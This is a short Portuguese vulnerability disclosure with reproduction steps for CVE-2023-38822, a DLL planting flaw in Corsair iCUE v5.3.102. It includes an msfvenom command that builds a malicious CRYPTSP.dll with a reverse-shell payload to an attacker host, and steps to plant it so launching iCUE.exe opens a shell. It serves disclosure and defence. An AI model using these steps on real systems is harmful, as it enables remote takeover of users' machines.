Corsair---DLL-Planting-CVE-2023-38822
DLL Planting in the Corsair iCUE v.5.3.102 CVE-2023-38822
Descobridor: Idan Malihi
Descrição
Um problema no Corsair iCUE v.5.3.102 permite que um atacante local execute código arbitrário através dos componentes MPDC.dll, CRYPTSP.dll, dcomp.dll, profapi.dll e MSASN1.dll.
Passos para Reproduzir
Para explorar a vulnerabilidade de DLL Planting, um atacante deve seguir os seguintes passos:
- Baixe a versão mais recente do iCUE.
- Instale o produto iCUE.
- Abra a pasta do caminho de instalação, por exemplo, C:\Program Files\Corsair\Corsair iCUE5 Software\
- Crie um arquivo dll malicioso com msfvenom no sistema operacional Kali Linux:
msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o CRYPTSP.dll
- Transfira o arquivo DLL para o caminho do jogo C:\Program Files\Corsair\Corsair iCUE5 Software\
- Execute o iCUE.exe e obtenha um reverse shell.